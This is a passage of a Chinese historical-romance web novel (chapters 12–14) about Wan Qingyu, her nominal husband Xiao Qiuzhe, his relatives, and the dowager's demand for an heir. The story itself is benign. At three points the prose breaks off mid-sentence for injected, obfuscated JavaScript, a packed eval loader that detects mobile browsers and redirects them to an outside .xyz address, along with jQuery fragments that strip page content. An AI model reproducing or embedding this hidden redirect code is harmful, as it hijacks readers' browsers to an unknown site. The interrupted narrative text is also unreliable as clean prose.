云浅闻言,略显局促,低声道:“多谢嫂嫂夸赞,嫂嫂亦是风华绝代。” 她说完,偷瞄了萧郢一眼,见他神色淡漠,心中更添几分不安。 晚青妤察觉这对夫妻关系微妙,云浅似对萧郢颇为畏惧,或许与她久未怀孕有关。 萧郢性子强势,三人相对无言,气氛略显尴尬。片刻后,萧郢起身告辞:“不打扰嫂嫂了,改日再来拜访。” 云浅随他起身行礼,晚青妤微微颔首,目送二人离去。 不多时,一袭白衣的萧絮翩然而至,衣袂飘飘,宛若谪仙临凡。他一脚踏入厅堂,便朗声笑道:“我那美若天仙的嫂嫂何在?小弟萧絮特来拜见,还望嫂嫂莫要嫌弃。” 晚青妤正于屏风后整理书卷,闻声抬眸,见萧絮玉树临风,眉目如画,不由微微一怔。 萧絮见她现身,眸光一亮,唇角含笑,深深一揖,姿态恭敬却不失风流:“想必这位便是嫂嫂了,果然仙姿佚貌,温婉可人,小弟今日得见,实乃三生有幸。” 晚青妤被他这般直白的夸赞弄得略感尴尬,面上却不动声色,只浅浅一笑,抬手示意:“三弟请坐,不必多礼。” 萧絮依言落座,目光却依旧灼灼地落在她身上,似是在细细打量,片刻后笑道:“嫂嫂当真是倾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15000654|161760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 国倾城,令人见之忘俗。小弟虽久居京城,却未曾见过如嫂嫂这般风姿卓绝的女子。” 晚青妤被他这般直勾勾的目光看得有些不自在,微微侧首避开他的视线,低声道:“三弟今日前来,可是有事寻你秋折哥哥?他外出未归,怕是还要些时辰才能回府。” 萧絮闻言,不以为意地摆了摆手,笑意更浓:“小弟今日专程来看嫂嫂,不为他事。嫂嫂归来,府中上下皆欢喜不已,小弟自然也要来凑个热闹,沾沾嫂嫂的仙气。” 晚青妤心中略感无奈,觉得江侧妃这三位子女果然各有千秋,萧絮这般言辞轻佻,倒让她有些招架不住。她微微垂眸,语气淡然:“三弟言重了,也不过一介凡人,何来仙气之说?” 萧絮见她神色疏离,却也不恼,反而笑了,语气中带着几分调侃:“嫂嫂何必自谦?小弟虽年少,却也见过不少名门闺秀,却无一人能及嫂嫂半分风采。” 晚青妤闻言,眉头微蹙,心中更觉不适,正欲开口,却听萧絮又道:“嫂嫂此次归来,打算住多久?可还会离去?上次你一走便是两年,府中众人皆甚是想念。” 晚青妤抬眸望向窗外,见天色已暗,萧秋折仍未归来,心中略感烦闷,语气也淡了几分:“若有美景,或会再出去走走。我今日在街上买了些点心,三弟若不嫌弃,便带些回去给芮妹妹尝尝。” 萧絮知她有意送客,依旧笑道:“那小弟改日再来叨扰。” 说罢,他随方于离开。 玉儿见他们走远,搓了搓手臂,“咦”了一声:“三公子说话怎这般轻佻,听得我鸡皮疙瘩都起来了。” 晚青妤无奈一笑,摇头不语,转身去厨房吩咐晚膳。 她翻阅了亲王府的食谱,见其中菜肴虽丰盛,却多有浪费。她命厨子按她所列菜单备膳,菜式虽简,却搭配得当,营养均衡。 她忆起母亲曾为父亲煲制的滋补汤,便亲手为萧秋折熬了一碗。虽不及母亲的手艺,却也颇为用心。 晚膳备妥,她坐于房中,捧起付伯伯所赠之书,静候萧秋折归来。 亥时将至,萧秋折方匆匆归府。他一进门,便见晚青妤正倚案读书,神色专注。 他解开氅衣递于一旁的小厮,轻声道:“今日事务繁多,回来晚了,你怎么还未歇息?” 晚青妤放下书卷,起身迎他:“我不困,看了会儿书。你先去洗漱吧。” 萧秋折凝眸注视她片刻,目光落于她方才所阅之书上。此书近日于京城风靡一时,诸多年轻子弟皆争相传阅,他亦曾翻阅再三,每读一遍,皆有不同感受。 篆书之人,实乃高才,笔下文章,句句锦绣,非等闲之辈所能为。然作者隐姓埋名,行踪飘忽,他多方寻觅,却至今未寻得其人。 而此书,只有付家书肆售卖。 他拐去偏房洗漱,洗漱完,换上一袭素白长衫,长发松松挽起,显得清雅而不失贵气。 晚青妤见他发丝微乱,从柜中取出新买的发带,轻声道:“今日去了西街,见这几条发带与你相衬,便买了下来。” 萧秋折闻言,微微一怔。 她……给他买了发带? 12. 第 12 章 晚青妤缓步至他跟前,轻轻拾起一条淡蓝若晨雾的发带,递予一侧的小厮,道:“快些帮你家公子系上试试。” 小厮接过,几步至萧秋折身后,笨拙地尝试着将发带缠绕于他的发间。 萧秋折未曾想她会给他买如此私密的物件,小厮给他系发带时,他身躯僵挺,耳尖悄然染上一抹绯红,唇瓣微微动了动,“感谢”二字终究未说出口。 晚青妤将余下的发带一并递予他,轻笑一声,言语间尽显从容:“往后若有所需,尽管告知于我,我帮你带,不过顺手的事。” 她的神情自然,没有丝毫的扭捏与别样情愫,仅是出于善心之举。 萧秋折望着她那双温润如水的眸子,手中紧握着发带,思绪凌乱地轻轻应了声。 晚青妤往门外走,道:“去用饭吧,我特地为你熬了一碗汤。” 还有她亲手做的汤? 萧秋折抚了抚头上的发带,目光追随着她的背影,缓步跟上。 二人一前一后步入膳厅,晚青妤吩咐厨子将温热的饭菜端上,又命丫鬟取来水净手,与他并肩而坐,递过碗筷,轻声道:“你回家的时间不定,我只能让厨子预先备好饭菜等着,想给你做新鲜的,又怕耽误太久饿着,往后我会算着时辰安排。” 她将那碗精心熬制的汤置于他面前,眼中闪烁着,轻笑道:“我父亲昔日亦常忙碌至深夜,母亲总会备下这样一碗汤等候。这汤的食材皆由我母亲精心挑选,既美味又滋补。你尝尝,看味道如何。” 短短两日,她已为他做了诸多,萧秋折心中涌起一阵恍惚。他端起碗,轻抿一口,汤香四溢,满口生津,不禁赞许:“味道极佳,比亲王府做的好喝。” 言罢,他望向她,问道:“你吃了吗?” 晚青妤回道:“还没有,下午在西街吃了些东西,方前不太饿。” 说罢,她执起碗筷,与他一同用餐。 “去西街做什么?”萧秋折低声问。 “去书肆寻了些书籍看。”晚青妤边剥着虾壳边答,手中的动作略显生疏。 西街书肆? 萧秋折夹菜的手微微一顿,眉头轻蹙:“可是付家的书肆?” 晚青妤点头:“对,从前我常去那里寻书。” 所以,她方才看的书确实是从付家书肆取的。 房间里安静了一会,只能听到晚青妤剥虾的轻微声响。 提及此事,她并未避讳,毕竟他们早已约定,她的行踪他无权过问。 萧秋折沉默着,目光落在她笨拙剥虾的手上,放下筷子,伸手取过一只虾,熟练地剥起壳来。 然而,未等他剥完给她,她就已将手中的虾剥好,轻轻放在他的碟中。 他望着碟中的虾,心中仿佛被什么东西触动。 原来,她是如此体贴之人。 只是,这份体贴,是专属于他,还是广施所有人? 他剥完手中的虾,递给她,她见状,微微一笑,摇摇头道:“我对虾过敏,你吃吧。” 她不能吃虾,竟然还能为他剥虾,萧秋折心中不知是何滋味,夹起她剥的虾咬了一口,鲜美无比,似乎比以往任何时候都要好吃。 这一餐,他吃得格外满足,不仅将她为他熬的汤喝得一滴不剩,还将她吩咐厨子更换的菜肴吃了许多。她准备的饭菜,皆是他平日里爱吃的,却又多了几分鲜香与营养。 期间,晚青妤与他谈及今日账房之事:“我在账房大略看了看亲王府的开销,我觉得在生活用度上可以适当调整,虽民以食为天,但过度则成浪费。只要保证食物口感与营养即可。我粗略算了算,即便用最好的食材,也无需如此多的银两。我听账房的人说,厨房取银非常随意,府中有人稍有不适,便要取银做粥煲汤,一次便是大笔开销。” 晚青妤深知,一个亲王府,若无严格规矩,便如一盘散沙,会逐渐从内部腐朽。 萧秋折自然明白府中问题重重,他沉声道:“从前府中有一位老管家,把亲王府管理得井井有条,可惜后来病重,无力再管。我送他回乡后,接连换了数位管家,皆不尽如意。现任管家我精心培养了一年多,但仍显不足。管家换得太勤,难免生出诸多乱子。” 人心不齐,家宅难安。晚青妤理解他的难处,轻声安慰:“我见那管家面相和善,只是做事不够果断,我回头与他谈谈。除了生活开销,其他地方亦有不少漏洞,需细细整治。你平日里忙,若不介意,我可以列些家规,再整顿开销。” 萧秋折闻言,几乎未加思索就应允道:“我怎会介意,亲王府你随意管理,若有人不服或为难你,你只管告诉我,我去处置。” “你就这般信任我?”晚青妤眨了眨眼,有些意外。 “嗯。” 嗯? 他答应得如此爽快,竟未提任何要求。 信任乃是相处之根本,聪明人与聪明人打交道,果真轻松。 晚青妤冲他一笑,夹了一块肉放入他的碟中:“我见你平日里用饭不易,朝中事务虽然重要,但是身体更为重要,吃好了才有力气做事。今日的肉我让厨子换了做法,吃起来不腻,你多吃些。日后我也会让他们根据你的喜好来做。” 萧秋折望着碟中的肉,心中涌起一种难以言喻的感觉。 晚青妤见他发呆,歪头笑道:“怎么了?不喜欢吃肉?” 对,他本极不喜欢吃肉,一吃便反胃。但此刻,他却鬼使神差地将肉夹起咬了一口,回道:“喜欢。” 他违心地说了喜欢,破天荒地吃了好几块肉。 饭后,晚青妤让人收拾了碗筷便回偏房歇息,萧秋折则去了书房。 今晚月华如练,晚青妤未读诗书,只趴在窗边望着明月发呆。以前在山间小院时,她便喜欢独自赏月观星,似乎能忘却尘世烦恼。 萧秋折的书房,恰位于偏房一隅之斜对面,静坐窗前,便能将书房之门窗景致尽收眼底。此刻对面烛光荧荧,透过薄如蝉翼的窗纸,隐约可见其绰约身影。 他的身姿挺拔,站立间尽显风华,即便是窗纸上那淡淡剪影,亦是令人心醉神迷。 玉儿已将床铺打理妥帖,又精心沏了一壶香茗,款步至晚青妤身旁。她望向那斜对面的窗棂,心中既激动又欢喜。 她本以为小姐归来后,会因诸多不适而心生苦闷,更恐姑爷性情冷漠,使得小姐心生别扭,却不曾想二人相处竟是如此融洽和谐。 “小姐。”玉儿轻声呼唤,将茶盏递至她面前,“姑爷特地命人送来了安眠之茶,我已为您沏好,请品尝。” 晚青妤接过茶盏,轻抿一口,只觉清香四溢,甘甜入心。 玉儿目光流转,试探性地问道:“小姐,今夜您还打算歇在偏房吗?” 晚青妤微微颔首。 玉儿复又问:“那姑爷呢?他之前不是说要睡偏房吗?” 晚青妤:“对,不过我懒得挪动了,以后就睡在这里吧。” “为何不一起睡呢?”玉儿突然问。 一起睡? 晚青妤闻言,刚入口的茶险些喷出,连咳数声。 她无奈地瞥了玉儿一眼,嗔怪道:“你这小丫头胡说什么?你又不是不知我和他是何关系?” 玉儿自知失言, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15000655|161760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连忙上前轻抚她的背,歉声道:“小姐莫怪,玉儿只是觉得您与姑爷般配至极,若不能相守实在可惜了。” 晚青妤哭笑不得:“你这小脑瓜里整日都想些什么?萧秋折是何等人,我与他绝无可能。” “小姐为何如此笃定?”玉儿不解。 晚青妤未答,只将茶盏递回她手中,起身道:“我去洗漱了,有点困了。” 玉儿一时难以揣测小姐心意,急忙跟上她。 书房之内,烛光摇曳,映得萧秋折侧脸愈发立体俊逸。然每闻方于言语,其眼神便黯淡一分。 方齐则立于他一米之外,目光紧锁他的神色,大气也不敢喘。近日因赵老爷子之事,公子已心生烦躁。赵老爷子猝死之事已传入皇后耳中,皇后下令大理寺严查此事,务必给赵家一个交代,并责怪公子办事不力,如此大事竟不上报。 再者,顾家三郎突遭不测,其中还牵涉到公子的表哥陆临。陆临与顾家三郎情谊深厚,顾家有意将小女儿许配于他,故而二人来往频繁。那晚二人正于酒楼饮酒,陆临刚离去,顾家三郎便暴毙于酒楼。顾家人寻不到凶手,开始怀疑是陆临所为,已上报官府严查陆临。 陆临之父,即公子之舅,他为此忧心忡忡,多次央求公子相助。公子自不能坐视不理,先遣人调查,又亲赴顾家一趟。 然顾老爷子与萧亲王又是死敌。多年前萧亲王看上顾老爷子欲娶之女子,未及迎娶便将其玷污。为此顾老爷子召回镇守边疆之大儿子,一同入宫参奏萧亲王,一时之间闹得满城风雨。 父亲惹出此等丑事,做儿子的萧秋折实属无奈。多年来,他从不与顾家人往来,见了顾老爷子更是避之不及。然而,如今为了表哥陆临,他又不得不放下颜面,再赴顾家。 今日到访后,顾老爷子的脸色可想而知,他半截身子已入土的人,说起话来毫不顾忌,冷嘲热讽,言辞犀利,当真不堪入耳。 公子为此身心俱疲,却又无可奈何。 单单这两件事便已让公子焦头烂额,加之还要助晚青妤查找杀父凶手,又要时刻惦念她今日所行之处、所会何人。 公子简直就像个神人,方齐着实为他心累。 而当下,只闻“付”字,公子的脸色就难堪万分。 屋内沉寂良久,气氛有点压抑。 萧秋折直挺挺坐着,用指腹揉了揉发胀的眉眼,复又问:“她去书肆之时,当真未曾遇见到付钰书?” 公子从不疑心属下不实禀报,然而方于现在躲躲闪闪的眼神又是什么意思? 方于慌忙摇头:“没有,方于可以发誓,只是提及,并未相见。” 都已发誓,总该安心了吧! 萧秋折默然,方于不知他究竟信了没有,只觉他脸色不佳。 明日乃是萧秋折入宫为小皇子授课之日,一去便是一整日,他便开始交代兄弟二人明日所办之事。 公子交代完毕,便摆手示意他们退下,然而方齐未动,看了看他的脸色,道:“公子,有一事需向您禀告。” “说。” “明日付家欲运一批书籍入京都书肆,可要查查?” 又是付家。 萧秋折皱眉看他:“方才提及书肆之时你为何不言?” 这一会他好不容易将这事忘了一点。 方齐挠挠头,回道:“方才见你心情不好,没敢说。” 现在就敢说了? 萧秋折瞥他一眼,轻叹一声:“明日我自皇宫回来过去看看,谁负责押送?” “付钰书,这批书籍乃是他亲自挑选。” 呵!付钰书。 13. 第 13 章 萧秋折未再吩咐事情,方齐和方于兄弟二人便退出了书房。 方齐揉了揉酸痛的肩颈,对方于抱怨道:“你可不知今日有多忙。大理寺来回跑了好几趟,又随公子去了回顾家,听那顾老爷子一顿冷嘲热讽,还得忍气吞声,脑袋都要炸了。好不容易办完事准备回府,公子却又让我出一趟城,真把我折腾得够呛。” 方齐搓了把脸,疲惫不堪,一手搭上方于的肩膀,叹气道:“公子行事愈发难以捉摸。从前虽也关注晚家,但从未揽下这么多事。如今倒好,自己手头的事都忙不完,还得帮着晚青妤查她父亲的死因,又要照看她弟弟晚青桁。赵老爷子猝死一事本就棘手,如今连皇后都知道了,若真查到公子头上,怕是难以交代。” 方于低头不语,默默听着方齐的抱怨,他今日好不容易得个轻松的差事,可不想再和他换班。 方齐身为兄长,文武双全,行事颇有萧秋折的风范,平日里多是他在辅佐萧秋折,并深得器重。而方于虽也有才,但心思不如兄长机敏,武功也稍逊一筹,因此所办之事相对简单些,却也未曾闲过。 方齐见他不吭声,用手肘撞了撞他的肩膀,道:“明日换换班,让我歇歇。” 方于急忙摆手:“不可不可,公子若知道了,非得打死我不可。我办事不如你稳妥,哪敢碰那些事?” 方齐冷哼一声,一拳捶在他胸口上:“你小子就是偷懒,我听说你今日与玉儿姑娘相谈甚欢,莫不是有什么想法?” 一提到玉儿,方于眼皮一跳,耳根瞬间泛红。 方齐见状,一把揪住他的耳朵,冷笑道:“难怪今日你推三阻四,原来是有心思了。往日一提换班,你可是二话不说就应下的。” “哥,疼疼疼……”方于疼得龇牙咧嘴,急忙捂住耳朵,“我当真办不来那些事,回头办砸了,公子非扒了我的皮不可。” 方齐手上力道不减:“我不管,明日必须换班。” 方于武功不及兄长,打也打不过,只得无奈应道:“好好好,换就换。” 翌日,萧秋折早早起身,换上一袭简约的白色锦衣,束起高高的发髻。本已准备出门,忽而想起晚青妤为他买的发带,便又折回梳妆台前,从那几条各色发带中挑了一条红色的系上。 平日里他极少佩戴这般艳丽的饰物,但今日这红色发带却格外合他心意,仿佛与他和晚青妤成婚那日所戴的有些相似。红带衬得他愈发精神,眉目间多了几分朝气。 一切准备妥当,他推门而出,方于已候在门外,正等着他发令牌。 方于低着头,努力模仿着方齐的神态。 萧秋折停在他面前,淡淡瞥了他一眼,眉头微蹙,并未急着递出令牌。 方于伸出的手僵在半空,心中忐忑。 萧秋折忽而问道:“昨日在街上,发带是你提议买的,还是……晚青妤自主买的?” 方于一时没反应过来,脱口道:“回公子,是少夫人自主买的。挑的时候还遇到两位姑娘,她们提起了您……” 话一出口,方于便知失言,急忙捂住嘴。 萧秋折眸光一沉,冷声道:“一五一十说清楚。” 方于自知瞒不过,只得硬着头皮道:“昨日夫人在挑选首饰时,旁边有两位姑娘议论您和夫人的事,说到了探花郎,还提到您与夫人即将和离。那二人言语间似在暗示,探花郎对夫人一往情深,至今难忘。” 萧秋折唇角微挑,眼中闪过一丝讥讽。自付钰书回京后,他与晚青妤和离的传言便不胫而走。晚青妤此前一直隐居山中,众人早已淡忘他们的婚事,怎会突然提起和离?付钰书这般手段,未免太过幼稚。 “去把方齐叫来。”萧秋折冷声吩咐。 方于没动,道:“公子,我就是方齐。” 萧秋折无奈瞥他一眼,就差“愚蠢”二字写在脸上了,道:“今日之事复杂,恐怕还要动刀动剑,你觉得你能比你哥处理得好?” 这兄弟俩的心思,萧秋折一眼便能看穿。旁人或许分不清他们,但他却从未认错过。 方于心虚地挠了挠头,一溜烟跑去叫方齐了。 方齐本打算今日偷个懒,睡个懒觉,谁知刚换班就被方于叫醒。他骂骂咧咧地穿上衣服,匆匆赶到萧秋折跟前。 萧秋折掏出令牌递过去,嘱咐道:“近日事务紧要,万不可出差错。你好好办,月末自有奖赏。” 方齐一听有赏,顿时精神抖擞,接过令牌时,瞥见他头上的红发带,顺口夸道:“公子这发带真衬您,好看的很。” 萧秋折未应声,转头望了眼偏房,见屋内静悄悄的,晚青妤应当还未起身。 他对方齐道:“晚间把晚青桁带来。” 方齐一愣:“带来作甚?” 萧秋折一边往外走,一边回道:“让他们姐弟团聚一番。晚家近来祸事不断,青桁年纪尚小,怕是受了惊吓。” “可……少夫人未曾提过,您这般擅自做主,怕是不妥。” 晚青妤回府后,对娘家人只字不提,也不知她究竟作何打算。 萧秋折跨上马车,冷冷回道:“她在防我。” 方齐不解:“她不是对您挺上心的吗?又是买发带,又是亲自煲汤。” 萧秋折唇角微挑,神色又变得复杂。 别人不了解晚青妤,他还不了解。 —— 晚青妤起身后,发现萧秋折已离府,她唤来方于问道:“今日你家公子忙些什么?午时可会回来用膳?” 方于恭敬回道:“回少夫人,公子今日入宫为小皇子授课,晚间方归。” “为小皇子授课?”晚青妤略感诧异,“是皇上的旨意,还是萧秋折主动请缨?” 方于如实道:“是小皇子亲自请求的。小皇子自幼仰慕公子才学,故请皇上允准公子每月入宫几次,为他授课。” 晚青妤点头了然,道:“我先去用膳,稍后去账房整理账目。方于,你去将管家唤来,我有事交代。” 方于行礼应道:“是,少夫人。” 晚青妤用过早膳,裁缝铺子又送来了几套新衣,说是按萧秋折的吩咐赶制的,还配了几双新鞋。 晚青妤未急着去账房,先回房试衣。 玉儿喜不自胜,看着一件件质地精良、款式新颖的衣裳,夸赞道:“姑爷的眼光当真不俗,每一件都与小姐相配,尺寸也恰到好处。” “尺寸?”玉儿忽而想到什么,笑道,“姑爷怎知小姐的尺寸?可曾问过您?” 晚青妤眨了眨眼,心中亦觉奇怪。平日里她订做衣裳,皆需裁缝亲自量体,萧秋折却未问过半句,竟能做得如此合身。 玉儿瞧她神色,笑道:“看来姑爷当真用心了,连您喜欢在衣袖上绣柳枝都知晓。您瞧,每件衣袖上都绣了一截。” 晚青妤低头细看,果然如此。那柳枝绣得栩栩如生,格外雅致。 她忽而想起从前给他写信时,曾在一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15000656|161760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本书中读到对柳树的描写,心生喜爱,便在信中写道:“我心如春风扶柳。”还在信封上画了一截柳枝。 多年过去,她对柳树的情愫依旧未减,偶尔会在衣袖上绣一小截柳枝。这一喜好她从未与萧秋折提过,不想他竟观察得如此细致。 玉儿拿来一双新鞋帮她换上,鞋子简约大方,尺寸竟也分毫不差。 玉儿惊喜道:“姑爷连您的鞋码都清楚,看来对小姐真是用心至极。” 这几日下来,萧秋折的所作所为,着实让玉儿欣慰。从前只听闻姑爷如何冷漠,如今接触下来,竟是这般细致入微。 晚青妤试了试鞋,来回走了几步,确实合脚舒适,款式也颇为喜欢。 从前她的衣裳鞋袜皆是娘亲为她准备,如今却由这位“假夫君”操办,心中不免生出几分异样之感。 玉儿瞧她神色,虽未言半句夸赞,但眼中已盈满笑意。 主仆二人正试衣间,太妃与江侧妃已踏入翠玉轩。 管家匆匆跑来,候在门外的方于见状拦住他问道:“何事如此匆忙?” 管家回道:“太妃与江侧妃来了翠玉轩,少夫人可在?” “太妃?”方于闻言一惊,急忙叩门道,“少夫人,太妃与江侧妃到访。” 太妃? 晚青妤与玉儿对视一眼,迅速整理好衣裳。 晚青妤与萧秋折成婚时曾与太妃有过一面之缘,那时太妃正在寺庙礼佛,他们成婚,太妃还特意回府一趟。 彼时她便听闻太妃并不看好这段姻缘,甚至有意将外甥女许配给萧秋折。奈何萧秋折性子执拗,宁死不屈,太妃只得勉强应下,只是成婚当日连她奉的茶都未喝便拂袖而去。 太妃这般态度晚青妤倒也理解,毕竟那时的晚家已显颓势,谁会愿意让如此出色的孙子娶一个家道中落的臣女呢? 她匆匆整理妥当,赶往前堂迎接太妃与江侧妃。刚入前堂,便见二人已端坐其上。 晚青妤急忙上前跪地行礼:“青妤拜见太妃,拜见江侧妃。” 太妃身姿雍容,虽年过六旬,却依旧风韵不减,她面容端庄,眉目间透着几分威严,眼角虽有细纹,却丝毫不减气度。 江侧妃看着晚青妤,轻笑道:“太妃听说你回府了,刚诵完经便过来看你。” 看她? 晚青妤忙道:“多谢太妃挂念,青妤本该前去请安,只是怕打扰您诵经,故未敢贸然前去。是青妤疏忽了,未及时向太妃请安。” 太妃端坐其上,神色从容地打量着她,缓声道:“你有这份心便够了,起来吧。” 晚青妤应声起身,见太妃向她招手,便走上前去。 太妃握住她的手,眼中渐渐浮现笑意,道:“青妤回来甚好,日后便留在府中,别再出去了。秋折平日忙碌,你多陪陪他。” 太妃态度和善,语气温柔,晚青妤心中不免疑惑,太妃怎么突然转变态度了? 她与萧秋折的婚事本是利益结合,太妃心知肚明,当初萧秋折与她说得清清楚楚,她才勉强应下,如今她这般又是何意? 晚青妤正思忖间,太妃连个前奏都没有,直接开门见山地道:“如今正值春日,风景甚好,人的心情也好,心情一好,情感就比较丰富,故而也是两相甚欢的好时候,你与秋折好好将养,尽快为府上添丁。” 添丁? 生孩子? 晚青妤眼皮猛地一跳。 这下完了! 14. 第 14 章 那日,萧芮前来与晚青妤提及一事,说祖母如今满心期盼萧家添丁进口,已将二嫂云浅逼得喘不过气来。云浅性情温婉,恐难承受此等重压。晚青妤闻言,心中暗叹,不料此事竟转瞬落于己身。 生育之事,岂是说说就能成?且不论能否轻易受孕,单凭她与萧秋折之间的疏离之情,亦难有子嗣之望。婚期仅余八月,若一旦有孕,便是插翅难逃。况且,她与萧秋折至今未曾有过肌肤之亲,何谈同房共枕? 无感情之结合,所诞之子,岂能善终? 她才不愿以子嗣羁绊一生。 然而太妃的态度,显然日后催逼难免。晚青妤沉吟片刻,未发一言,唯有颊上泛起红晕。 太妃阅人无数,见状笑道:“此乃人之常情,何须羞涩?夫妻之道,本应琴瑟和鸣,携手共度。秋折身为亲王府嫡长子,年岁已长,理应为王府添丁增口。然而他终日忙于朝政,无心内院之事,实为不妥。幸得你归来,望你二人早日诞下子嗣,使我得享天伦之乐。” 太妃精明过人,虽知二人成婚之由,亦晓晚青妤隐居山中两年之事,然萧秋折性情固执,不肯纳妾,王府后继无人,只得暂且求子。 况且晚青妤天生丽质,单论相貌已足够出众,心性与智慧,日后随萧秋折便可。 晚青妤无言以对,千算万算,竟未料及此,她悔不当初,早知就不该随萧秋折回京。 太妃见她不语,敛笑正色道:“延续子嗣乃重中之重,尤以亲王府为甚,众人皆当尽心。” 太妃言及“众人”,目光扫向江侧妃,显然意在萧郢之妻云浅。听萧芮之言,云浅曾怀一胎,却不幸小产,江侧妃之压力亦不小。 江侧妃闻言,轻轻颔首,瞥了晚青妤一眼,随即垂眸。 太妃不欲久留,起身道:“明日我于府中设宴,为青妤接风洗尘,再寻个好日子携你至观音庙祈福,愿日后多子多福。” 多子多福? 此言令晚青妤羞赧不已。 其余之语她不愿回应,但若再拒绝去观音庙祭拜,恐惹太妃不悦,毕竟在太妃看来,家中女眷延续后代乃天经地义之事。 晚青妤俯身行礼道:“太妃所言极是,青妤定会虔诚祭拜。” 她仅言及此,太妃已看出她心有不愿,只是为何不愿,太妃无暇深究,只求结果,她几乎不容置喙地道:“即日起,让厨房多备些滋补汤品,你与秋折皆需饮用。” 晚青妤不便反驳,心中暗自思量届时倒掉便是,遂回道:“多谢太妃。” 太妃审视她一眼,唇边勾起一抹不明笑意,又道:“这滋补汤老二家喝过不少,我瞧着挺有效,你二人定要服用,莫要辜负我一番心意。” 这是赶鸭子上架啊! 晚青妤虽无奈,仍应道:“多谢太妃关照,青妤定当谨遵。” 太妃应声,欲离之际,忽驻足问道:“你与秋折如何居住?” 晚青妤一愣,未及答言,江侧妃已接口道:“太妃,听说二人分房而居,一主一偏。” 太妃闻言,神色骤变,直视晚青妤。晚青妤心知其意,忙解释道:“就……就归府仓促,尚未收拾妥当,况且我久居山间,一时难以适应。” 太妃不关心其习惯,唯求子嗣,遂沉默片刻,道:“秋折回府后,你二人到我屋中,我有话要说。” 她说罢,转身离去。 晚青妤于身后恭送:“是,青妤恭送太妃。” 晚青妤立于门前,目送太妃与江侧妃出了翠玉轩,方才松了紧绷的身躯,轻拭鬓角细汗,缓步至桌前,斟了杯茶喝。 玉儿见状,笑盈盈上前,打趣道:“小姐何故羞赧至此?莫非心中有所期许?” 回府以来,晚青妤愈发觉玉儿言辞无忌,无奈叹气:“何来期许?不过脸皮薄,无言以对罢了。此事怪我思虑不周,若非如此,岂会随萧秋折归亲王府?如今倒好,仇未报,反惹一身麻烦,以后恐难脱身。” 她怎么就忘了萧秋折尚有一祖母在堂。 亲王府到萧秋折这一代,尚未有子嗣降生,而萧秋折身为嫡长子,此重任自是要落在他们肩上。 玉儿见她眉宇间愁云满布,却自个儿笑得眉眼弯弯,心想若是这对别扭夫妻能因此生情,倒也是桩美事。 遂婉言劝道:“小姐自幼长于京城,岂不知京城男儿郎何等模样?且不论相貌,但凡有些家世的,哪个不是三妻四妾,甚或在外拈花惹草的,风流成性的。像如姑爷这般品性端正的,实属凤毛麟角,京城之中,恐难寻得其二。” 玉儿近来经常夸赞萧秋折,令晚青妤颇感无奈。她以帕拭面,移步门外,扯了扯唇角:“你日后少说这些,若无两情相悦,再好亦是枉然。” 玉儿紧随其后,见她眉间微蹙,不敢再多言,却正撞上方于直勾勾的目光。玉儿眨了眨眼,这才想起来门口还站着一个通风报信的。 估计今日这事很快就会传到萧秋折耳朵里。 方于见她眨眼,眼皮一跳,耳根瞬间红了。 玉儿瞧他呆愣,说了一句:“别啥都告诉你家公子。” 然后追上晚青妤,问道:“小姐要去哪里?” 晚青妤:“去探望外祖母,上次回京未得相见,她身子一向欠安,自外祖父去世后,便独居老院,我过去看看她。” 晚青妤十岁前皆是在外祖母膝下承欢,彼时外祖母对她疼爱有加,常为她烹制蜜糖酥,又常为她讲述神话故事,她对这些故事好奇不已,每每听罢皆会执笔记录。 彼时,付钰书的家恰在外祖母家隔壁,两家相邻,往来频繁,她亦是在那时与付钰书相识。 而后,她与付钰书渐熟,便开始一同聆听外祖母讲述故事,又一同执笔记录。 那时,付钰书写下人生中的第一本书,并且赠予了她。 再往后,他所著文章在京中一鸣惊人,后小有名气,年纪轻轻就在文学方面拔得头筹。 晚青妤看过付钰书写的每一本书,每一篇文章,皆不止一遍,她能从其文字中窥见,他是个极具个人魅力之人,不喜束缚,满腔热血,心怀拯救苍生之志,却又隐隐透露出对命运之不满。 方于见主仆二人欲出门,急忙跟上,又唤管家备车。 晚青妤的外祖母仍居乔家老院,距城门不远,亦近付家书库。晚青妤顺路采买些礼品,三人遂至乔家老院。 晚青妤望着熟悉的宅院,忆起儿时点滴,亦想起父亲曾背着她在院中枣树下摘枣。如今枣树依旧,然而父亲与大哥已不在人世。 乔家老院广阔,处处皆是岁月痕迹,院中仅住着外祖母及几名仆从,显得格外冷清。晚青妤心中感慨万千,缓步向内行去。 府上管事的张伯伯见晚青妤翩然而至,不禁面露惊喜之色,连忙上前拱手道:“三小姐。” 